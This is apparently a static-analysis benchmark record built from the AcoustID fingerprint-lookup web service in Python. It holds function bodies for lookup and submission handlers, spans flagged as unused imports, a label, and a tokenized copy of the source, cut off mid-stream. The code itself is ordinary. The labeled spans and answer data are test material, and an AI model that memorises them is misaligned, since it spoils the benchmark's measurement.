[]).extend(self.el_result[track_id])\n return el_recording, track_meta_map", "metadata": "root.LookupHandler._inject_user_meta_ids_internal", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 235 }, { "content": " def extract_recording(self, m, only_id=False):\n recording = {'id': m['recording_id']}\n if only_id:\n return recording\n recording['title'] = m['recording_title'] or ''\n if m['recording_duration']:\n recording['duration'] = m['recording_duration']\n if m['recording_artists']:\n recording['artists'] = m['recording_artists']\n return recording", "metadata": "root.LookupHandler.extract_recording", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 249 }, { "content": " def extract_release(self, m, only_id=False):\n release = {'id': m['release_id']}\n if only_id:\n return release\n release['title'] = m['release_title'] or ''\n if m['release_medium_count']:\n release['medium_count'] = m['release_medium_count']\n if m['release_track_count']:\n release['track_count'] = m['release_track_count']\n if m['release_artists']:\n release['artists'] = m['release_artists']\n if m['release_events']:\n release['releaseevents'] = []\n for rem in m['release_events']:\n release_event = {}\n if rem['release_country']:\n release_event['country'] = rem['release_country']\n date = {}\n if rem['release_date_year']:\n date['year'] = rem['release_date_year']\n if rem['release_date_month']:\n date['month'] = rem['release_date_month']\n if rem['release_date_day']:\n date['day'] = rem['release_date_day']\n if date:\n release_event['date'] = date\n release['releaseevents'].append(release_event)\n release.update(release['releaseevents'][0])\n return release", "metadata": "root.LookupHandler.extract_release", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 260 }, { "content": " def extract_release_group(self, m, only_id=False):\n release_group = {'id': m['release_group_id']}\n if only_id:\n return release_group\n release_group['title'] = m['release_group_title'] or ''\n if m['release_group_primary_type']:\n release_group['type'] = m['release_group_primary_type']\n if m['release_group_secondary_types']:\n release_group['secondarytypes'] = m['release_group_secondary_types']\n if m['release_group_artists']:\n release_group['artists'] = m['release_group_artists']\n return release_group", "metadata": "root.LookupHandler.extract_release_group", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 290 }, { "content": " def _inject_release_groups_internal(self, meta, parent, metadata):\n release_groups = self._group_release_groups(metadata, 'releasegroupids' in meta)\n parent['releasegroups'] = []\n for release_group, release_group_metadata in release_groups:\n parent['releasegroups'].append(release_group)\n if 'releases' in meta or 'releaseids' in meta:\n self._inject_releases_internal(meta, release_group, release_group_metadata)\n if 'compress' in meta:\n for release in release_group['releases']:\n if 'artists' in release and release['artists'] == release_group.get('artists'):\n del release['artists']\n if 'title' in release and release['title'] == release_group.get('title'):\n del release['title']", "metadata": "root.LookupHandler._inject_release_groups_internal", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 303 }, { "content": " def _inject_releases_internal(self, meta, parent, metadata):\n releases = self._group_releases(metadata, 'releaseids' in meta)\n parent['releases'] = []\n for release, release_metadata in releases:\n parent['releases'].append(release)\n if 'tracks' in meta:\n release['mediums'] = list(self._group_tracks(release_metadata))\n if 'compress' in meta:\n for medium in release['mediums']:\n for track in medium['tracks']:\n if 'artists' in track and track['artists'] == release.get('artists'):\n del track['artists']", "metadata": "root.LookupHandler._inject_releases_internal", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 317 }, { "content": " def inject_recordings(self, meta):\n recording_els = self._inject_recording_ids_internal(True, 'sources' in meta)[0]\n load_releases = False\n load_release_groups = False\n if 'releaseids' in meta or 'releases' in meta:\n load_releases = True\n if 'releasegroupids' in meta or 'releasegroups' in meta:\n load_releases = True\n load_release_groups = True\n metadata = lookup_metadata(self.conn, recording_els.keys(), load_releases=load_releases, load_release_groups=load_release_groups)\n if 'usermeta' in meta and not metadata:\n user_meta_els = self._inject_user_meta_ids_internal(True)[0]\n recording_els.update(user_meta_els)\n user_meta = lookup_meta(self.conn, user_meta_els.keys())\n metadata.extend(user_meta)\n for recording, recording_metadata in self._group_recordings(metadata, 'recordingids' in meta):\n if 'releasegroups' in meta or 'releasegroupids' in meta:\n self._inject_release_groups_internal(meta, recording, recording_metadata)\n if 'compress' in meta:\n for release_group in recording.get('releasegroups', []):\n for release in release_group.get('releases', []):\n for medium in release.get('mediums', []):\n for track in medium['tracks']:\n if 'title' in track and track['title'] == recording.get('title'):\n del track['title']\n if 'artists' in release_group and release_group['artists'] == recording.get('artists'):\n del release_group['artists']\n elif 'releases' in meta or 'releaseids' in meta:\n self._inject_releases_internal(meta, recording, recording_metadata)\n if 'compress' in meta:\n for release in recording.get('releases', []):\n for medium in release.get('mediums', []):\n for track in medium['tracks']:\n if 'title' in track and track['title'] == recording.get('title'):\n del track['title']\n if 'artists' in release and release['artists'] == recording.get('artists'):\n del release['artists']\n for recording_el in recording_els[recording['id']]:\n if 'usermeta' in meta:\n if isinstance(recording['id'], int):\n del recording['id']\n if 'title' in recording and not recording['title']:\n del recording['title']\n if 'releasegroups' in recording:\n releasegroups = []\n for releasegroup in recording['releasegroups']:\n del releasegroup['id']\n if 'title' in releasegroup and not releasegroup['title']:\n del releasegroup['title']\n if 'releases' in releasegroup:\n releases = []\n for release in releasegroup['releases']:\n del release['id']\n if 'title' in release and not release['title']:\n del release['title']\n if release:\n releases.append(release)\n if releases:\n releasegroup['releases'] = releases\n else:\n del releasegroup['releases']\n if releasegroup:\n releasegroups.append(releasegroup)\n if releasegroups:\n recording['releasegroups'] = releasegroups\n else:\n del recording['releasegroups']\n if 'releases' in recording:\n releases = []\n for release in recording['releases']:\n del release['id']\n if 'title' in release and not release['title']:\n del release['title']\n if release:\n releases.append(release)\n if releases:\n recording['releases'] = releases\n else:\n del recording['releases']\n recording_el.update(recording)", "metadata": "root.LookupHandler.inject_recordings", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 330 }, { "content": " def inject_releases(self, meta):\n recording_els, track_mbid_map = self._inject_recording_ids_internal(False)\n metadata = lookup_metadata(self.conn, recording_els.keys(), load_releases=True, load_release_groups=True)\n for track_id, track_metadata in self._group_metadata(metadata, track_mbid_map):\n result = {}\n self._inject_releases_internal(meta, result, track_metadata)\n for result_el in self.el_result[track_id]:\n result_el.update(result)", "metadata": "root.LookupHandler.inject_releases", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 411 }, { "content": " def inject_release_groups(self, meta):\n recording_els, track_mbid_map = self._inject_recording_ids_internal(False)\n metadata = lookup_metadata(self.conn, recording_els.keys(), load_releases=True, load_release_groups=True)\n for track_id, track_metadata in self._group_metadata(metadata, track_mbid_map):\n result = {}\n self._inject_release_groups_internal(meta, result, track_metadata)\n for result_el in self.el_result[track_id]:\n result_el.update(result)", "metadata": "root.LookupHandler.inject_release_groups", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 420 }, { "content": " def _group_metadata(self, metadata, track_mbid_map):\n results = {}\n for track_id, mbids in track_mbid_map.iteritems():\n mbids = set(mbids)\n results[track_id] = []\n for item in metadata:\n if item['recording_id'] in mbids:\n results[track_id].append(item)\n return results.iteritems()", "metadata": "root.LookupHandler._group_metadata", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 429 }, { "content": " def _group_release_groups(self, metadata, only_ids=False):\n results = {}\n for item in metadata:\n id = item['release_group_id']\n if id not in results:\n results[id] = (self.extract_release_group(item, only_id=only_ids), [])\n results[id][1].append(item)\n return results.itervalues()", "metadata": "root.LookupHandler._group_release_groups", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 439 }, { "content": " def _group_recordings(self, metadata, only_ids=False):\n results = {}\n for item in metadata:\n id = item['recording_id']\n if id not in results:\n results[id] = (self.extract_recording(item, only_id=only_ids), [])\n results[id][1].append(item)\n return results.itervalues()", "metadata": "root.LookupHandler._group_recordings", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 448 }, { "content": " def _group_releases(self, metadata, only_ids=False):\n results = {}\n for item in metadata:\n id = item['release_id']\n if id not in results:\n results[id] = (self.extract_release(item, only_id=only_ids), [])\n results[id][1].append(item)\n return results.itervalues()", "metadata": "root.LookupHandler._group_releases", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 457 }, { "content": " def _group_tracks(self, metadata):\n results = {}\n for item in metadata:\n medium_pos = item['medium_position']\n medium = results.get(medium_pos)\n if medium is None:\n medium = {'position': medium_pos, 'tracks': []}\n medium['track_count'] = item['medium_track_count']\n if item['medium_format']:\n medium['format'] = item['medium_format']\n if item['medium_title']:\n medium['title'] = item['medium_title']\n results[medium_pos] = medium\n track = {\n 'id': item['track_id'],\n 'position': item['track_position'],\n 'title': item['track_title'],\n 'artists': item['track_artists'],\n }\n medium['tracks'].append(track)\n return results.itervalues()", "metadata": "root.LookupHandler._group_tracks", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 466 }, { "content": " def inject_m2(self, meta):\n el_recording = self._inject_recording_ids_internal(True)[0]\n metadata = lookup_metadata(self.conn, el_recording.keys(), load_releases=True)\n last_recording_id = None\n for item in metadata:\n if last_recording_id != item['recording_id']:\n recording = self.extract_recording(item, True)\n last_recording_id = recording['id']\n for el in el_recording[recording['id']]:\n if item['recording_duration']:\n recording['duration'] = item['recording_duration']\n recording['tracks'] = []\n el.update(recording)\n metadata = sorted(metadata, key=operator.itemgetter('recording_id', 'release_id', 'medium_position', 'track_position'))\n for item in metadata:\n for el in el_recording[item['recording_id']]:\n medium = {\n 'track_count': item['medium_track_count'],\n 'position': item['medium_position'],\n 'release': {\n 'id': item['release_id'],\n 'title': item['release_title'],\n },\n }\n if item['medium_format']:\n medium['format'] = item['medium_format']\n el['tracks'].append({\n 'title': item['track_title'],\n 'duration': item['track_duration'],\n 'artists': item['track_artists'],\n 'position': item['track_position'],\n 'medium': medium,\n })", "metadata": "root.LookupHandler.inject_m2", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 488 }, { "content": " def inject_metadata(self, meta, result_map):\n self.el_result = result_map\n if 'm2' in meta:\n self.inject_m2(meta)\n elif 'recordings' in meta or 'recordingids' in meta:\n self.inject_recordings(meta)\n elif 'releasegroups' in meta or 'releasegroupids' in meta:\n self.inject_release_groups(meta)\n elif 'releases' in meta or 'releaseids' in meta:\n self.inject_releases(meta)", "metadata": "root.LookupHandler.inject_metadata", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 522 }, { "content": " def _inject_results(self, results, result_map, matches):\n seen = set()\n for fingerprint_id, track_id, track_gid, score in matches:\n if track_id in seen:\n continue\n seen.add(track_id)\n result = {'id': track_gid, 'score': score}\n result_map.setdefault(track_id, []).append(result)\n results.append(result)\n return seen", "metadata": "root.LookupHandler._inject_results", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 533 }, { "content": " def _handle_internal(self, params):\n import time\n t = time.time()\n update_user_agent_counter(self.redis, params.application_id, self.user_agent, self.user_ip)\n searcher = FingerprintSearcher(self.conn, self.index)\n searcher.max_length_diff = params.max_duration_diff\n if params.batch:\n fingerprints = params.fingerprints\n else:\n fingerprints = params.fingerprints[:1]\n all_matches = []\n for p in fingerprints:\n if p['track_gid']:\n track_id = resolve_track_gid(self.conn, p['track_gid'])\n matches = [(0, track_id, p['track_gid'], 1.0)]\n else:\n matches = searcher.search(p['fingerprint'], p['duration'])\n all_matches.append(matches)\n response = {}\n if params.batch:\n response['fingerprints'] = fps = []\n result_map = {}\n for p, matches in zip(fingerprints, all_matches):\n results = []\n fps.append({'index': p['index'], 'results': results})\n track_ids = self._inject_results(results, result_map, matches)\n update_lookup_counter(self.redis, params.application_id, bool(track_ids))\n logger.debug(\"Lookup from %s: %s\", params.application_id, list(track_ids))\n else:\n response['results'] = results = []\n result_map = {}\n self._inject_results(results, result_map, all_matches[0])\n update_lookup_counter(self.redis, params.application_id, bool(result_map))\n logger.debug(\"Lookup from %s: %s\", params.application_id, result_map.keys())\n if params.meta and result_map:\n self.inject_metadata(params.meta, result_map)\n if fingerprints:\n time_per_fp = (time.time() - t) / len(fingerprints)\n update_lookup_avg_time(self.redis, time_per_fp)\n return response", "metadata": "root.LookupHandler._handle_internal", "header": "['class', 'LookupHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 544 }, { "content": "class SubmissionStatusHandlerParams(APIHandlerParams):\n", "metadata": "root.SubmissionStatusHandlerParams", "header": "['module', '___EOS___']", "index": 586 }, { "content": " def parse(self, values, conn):\n super(SubmissionStatusHandlerParams, self).parse(values, conn)\n self._parse_client(values, conn)\n self.ids = values.getlist('id', type=int)", "metadata": "root.SubmissionStatusHandlerParams.parse", "header": "['class', 'SubmissionStatusHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 588 }, { "content": "class SubmissionStatusHandler(APIHandler):\n\n params_class = SubmissionStatusHandlerParams\n", "metadata": "root.SubmissionStatusHandler", "header": "['module', '___EOS___']", "index": 594 }, { "content": " def _handle_internal(self, params):\n response = {'submissions': [{'id': id, 'status': 'pending'} for id in params.ids]}\n tracks = lookup_submission_status(self.conn, params.ids)\n for submission in response['submissions']:\n id = submission['id']\n track_gid = tracks.get(id)\n if track_gid is not None:\n submission['status'] = 'imported'\n submission['result'] = {'id': track_gid}\n return response", "metadata": "root.SubmissionStatusHandler._handle_internal", "header": "['class', 'SubmissionStatusHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 598 }, { "content": "class SubmitHandlerParams(APIHandlerParams):\n\n\n\n", "metadata": "root.SubmitHandlerParams", "header": "['module', '___EOS___']", "index": 610 }, { "content": " def _parse_user(self, values, conn):\n account_apikey = values.get('user')\n if not account_apikey:\n raise errors.MissingParameterError('user')\n self.account_id = lookup_account_id_by_apikey(conn, account_apikey)\n if not self.account_id:\n raise errors.InvalidUserAPIKeyError()", "metadata": "root.SubmitHandlerParams._parse_user", "header": "['class', 'SubmitHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 612 }, { "content": " def _parse_duration_and_format(self, p, values, suffix):\n p['duration'] = values.get('duration' + suffix, type=int)\n if p['duration'] is None:\n raise errors.MissingParameterError('duration' + suffix)\n if p['duration'] <= 0 or p['duration'] > 0x7fff:\n raise errors.InvalidDurationError('duration' + suffix)\n p['format'] = values.get('fileformat' + suffix)", "metadata": "root.SubmitHandlerParams._parse_duration_and_format", "header": "['class', 'SubmitHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 620 }, { "content": " def _parse_submission(self, values, suffix):\n p = {}\n p['index'] = (suffix or '')[1:]\n p['puid'] = values.get('puid' + suffix)\n if p['puid'] and not is_uuid(p['puid']):\n raise errors.InvalidUUIDError('puid' + suffix)\n p['foreignid'] = values.get('foreignid' + suffix)\n if p['foreignid'] and not is_foreignid(p['foreignid']):\n raise errors.InvalidForeignIDError('foreignid' + suffix)\n p['mbids'] = values.getlist('mbid' + suffix)\n if p['mbids'] and not all(map(is_uuid, p['mbids'])):\n raise errors.InvalidUUIDError('mbid' + suffix)\n self._parse_duration_and_format(p, values, suffix)\n fingerprint_string = values.get('fingerprint' + suffix)\n if not fingerprint_string:\n raise errors.MissingParameterError('fingerprint' + suffix)\n p['fingerprint'] = decode_fingerprint(fingerprint_string.encode('ascii', 'ignore'))\n if not p['fingerprint']:\n raise errors.InvalidFingerprintError()\n p['bitrate'] = values.get('bitrate' + suffix, type=int) or None\n if p['bitrate'] is not None and p['bitrate'] <= 0:\n raise errors.InvalidBitrateError('bitrate' + suffix)\n p['track'] = values.get('track' + suffix)\n p['artist'] = values.get('artist' + suffix)\n p['album'] = values.get('album' + suffix)\n p['album_artist'] = values.get('albumartist' + suffix)\n p['track_no'] = values.get('trackno' + suffix, type=int)\n p['disc_no'] = values.get('discno' + suffix, type=int)\n p['year'] = values.get('year' + suffix, type=int)\n self.submissions.append(p)", "metadata": "root.SubmitHandlerParams._parse_submission", "header": "['class', 'SubmitHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 628 }, { "content": " def parse(self, values, conn):\n super(SubmitHandlerParams, self).parse(values, conn)\n self._parse_client(values, conn)\n self._parse_user(values, conn)\n self.wait = values.get('wait', type=int, default=0)\n self.submissions = []\n suffixes = list(iter_args_suffixes(values, 'fingerprint'))\n if not suffixes:\n raise errors.MissingParameterError('fingerprint')\n for i, suffix in enumerate(suffixes):\n try:\n self._parse_submission(values, suffix)\n except errors.WebServiceError:\n if not self.submissions and i + 1 == len(suffixes):\n raise", "metadata": "root.SubmitHandlerParams.parse", "header": "['class', 'SubmitHandlerParams', '(', 'APIHandlerParams', ')', ':', '___EOS___']", "index": 659 }, { "content": "class SubmitHandler(APIHandler):\n\n params_class = SubmitHandlerParams\n meta_fields = ('track', 'artist', 'album', 'album_artist', 'track_no',\n 'disc_no', 'year')\n", "metadata": "root.SubmitHandler", "header": "['module', '___EOS___']", "index": 676 }, { "content": " def _handle_internal(self, params):\n response = {'submissions': []}\n ids = set()\n with self.conn.begin():\n source_id = find_or_insert_source(self.conn, params.application_id, params.account_id, params.application_version)\n format_ids = {}\n for p in params.submissions:\n if p['format']:\n if p['format'] not in format_ids:\n format_ids[p['format']] = find_or_insert_format(self.conn, p['format'])\n p['format_id'] = format_ids[p['format']]\n for p in params.submissions:\n mbids = p['mbids'] or [None]\n for mbid in mbids:\n values = {\n 'mbid': mbid or None,\n 'puid': p['puid'] or None,\n 'bitrate': p['bitrate'] or None,\n 'fingerprint': p['fingerprint'],\n 'length': p['duration'],\n 'format_id': p.get('format_id'),\n 'source_id': source_id\n }\n meta_values = dict((n, p[n] or None) for n in self.meta_fields)\n if any(meta_values.itervalues()):\n values['meta_id'] = insert_meta(self.conn, meta_values)\n if p['foreignid']:\n values['foreignid_id'] = find_or_insert_foreignid(self.conn, p['foreignid'])\n id = insert_submission(self.conn, values)\n ids.add(id)\n submission = {'id': id, 'status': 'pending'}\n if p['index']:\n submission['index'] = p['index']\n response['submissions'].append(submission)\n\n if self.redis is not None:\n self.redis.publish('channel.submissions', json.dumps(list(ids)))\n\n clients_waiting_key = 'submission.waiting'\n clients_waiting = self.redis.incr(clients_waiting_key) - 1\n try:\n max_wait = 10\n self.redis.expire(clients_waiting_key, max_wait)\n tracks = {}\n remaining = min(max(0, max_wait - 2 ** clients_waiting), params.wait)\n logger.debug('starting to wait at %f %d', remaining, clients_waiting)\n while remaining > 0 and ids:\n logger.debug('waiting %f seconds', remaining)\n time.sleep(0.5) # XXX replace with LISTEN/NOTIFY\n remaining -= 0.5\n tracks = lookup_submission_status(self.conn, ids)\n if not tracks:\n continue\n for submission in response['submissions']:\n id = submission['id']\n track_gid = tracks.get(id)\n if track_gid is not None:\n submission['status'] = 'imported'\n submission['result'] = {'id': track_gid}\n ids.remove(id)\n finally:\n self.redis.decr(clients_waiting_key)\n\n return response", "metadata": "root.SubmitHandler._handle_internal", "header": "['class', 'SubmitHandler', '(', 'APIHandler', ')', ':', '___EOS___']", "index": 682 } ]
[ { "span": "import pprint", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 13 }, { "span": "from acoustid.handler import Handler, Response", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 46 }, { "span": "from acoustid.data.fingerprint import lookup_fingerprint, decode_fingerprint, FingerprintSearcher", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 97 }, { "span": "from werkzeug.exceptions import HTTPException, abort", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 52 }, { "span": "from acoustid.utils import is_uuid, is_foreignid, is_int, check_demo_client_api_key", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 83 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2011", " ", "Lu", "kas", " ", "La", "lins", "ky_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Distribut", "ed", " ", "under", " ", "the", " ", "MIT", " ", "license", ",", " ", "see", " ", "the", " ", "LICENSE", " ", "file", " ", "for", " ", "deta", "il", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "operator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "import_", "const_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "const_", "import_", "MAX", "\\u", "REQUEST", "S", "\\u", "PER", "\\u", "SECOND", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "handler_", "import_", "Handler_", ",_", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "track_", "import_", "look", "up", "\\u", "mbid", "s_", ",_", "resolve", "\\u", "track", "\\u", "gid_", ",_", "look", "up", "\\u", "meta", "\\u", "ids_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "musicb", "rain", "z_", "import_", "look", "up", "\\u", "metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "submission_", "import_", "insert", "\\u", "submission_", ",_", "look", "up", "\\u", "subm", "ission", "\\u", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "fingerprint_", "import_", "look", "up", "\\u", "fingerprint_", ",_", "decode", "\\u", "fingerprint_", ",_", "Fingerprint", "Searche", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "format_", "import_", "find", "\\u", "or", "\\u", "insert", "\\u", "format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "application_", "import_", "look", "up", "\\u", "applica", "tion", "\\u", "id", "\\u", "by", "\\u", "apikey_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "account_", "import_", "look", "up", "\\u", "account", "\\u", "id", "\\u", "by", "\\u", "apikey_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "source_", "import_", "find", "\\u", "or", "\\u", "insert", "\\u", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "meta_", "import_", "insert", "\\u", "meta_", ",_", "look", "up", "\\u", "meta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "foreign", "id_", "import_", "find", "\\u", "or", "\\u", "insert", "\\u", "foreign", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "data_", "._", "stats_", "import_", "update", "\\u", "look", "up", "\\u", "counter_", ",_", "update", "\\u", "user", "\\u", "agent", "\\u", "counter_", ",_", "update", "\\u", "look", "up", "\\u", "avg", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "ratel", "imit", "er_", "import_", "Rat", "e", "Limit", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "werkzeug_", "._", "exceptions_", "import_", "HTTP", "Exception_", ",_", "abort_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "werkzeug_", "._", "utils_", "import_", "cache", "d\\u", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "utils_", "import_", "is", "\\u", "uuid_", ",_", "is", "\\u", "foreign", "id_", ",_", "is", "\\u", "int_", ",_", "check", "\\u", "demo", "\\u", "client", "\\u", "api", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "aco", "usti", "d_", "._", "api_", "import_", "serialize", "\\u", "response_", ",_", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DEF", "AUL", "T", "\\u", "FORMAT_", "=_", "'", "json", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FORMATS_", "=_", "set_", "(_", "[_", "'", "xml", "'_", ",_", "'", "json", "'_", ",_", "'", "jsonp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DEMO", "\\u", "APPLICATION", "\\u", "ID_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "iter", "\\u", "args", "\\u", "suffixes_", "(_", "args_", ",_", "*_", "prefixes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "args_", "._", "iterkeys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "prefix_", "in_", "prefixes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "==_", "prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "add_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "name_", "._", "startswith_", "(_", "prefix_", "+_", "'.'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", ",_", "suffix_", "=_", "name_", "._", "split_", "(_", "'.'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "suffix_", "._", "isdigit_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "results_", "._", "add_", "(_", "int_", "(_", "suffix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "'.", "%", "d", "'_", "%_", "i_", "if_", "i_", "is_", "not_", "None_", "else_", "''_", "for_", "i_", "in_", "sorted_", "(_", "results_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "API", "Handle", "r", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "API", "Handle", "r", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "config_", ")_", ":_", 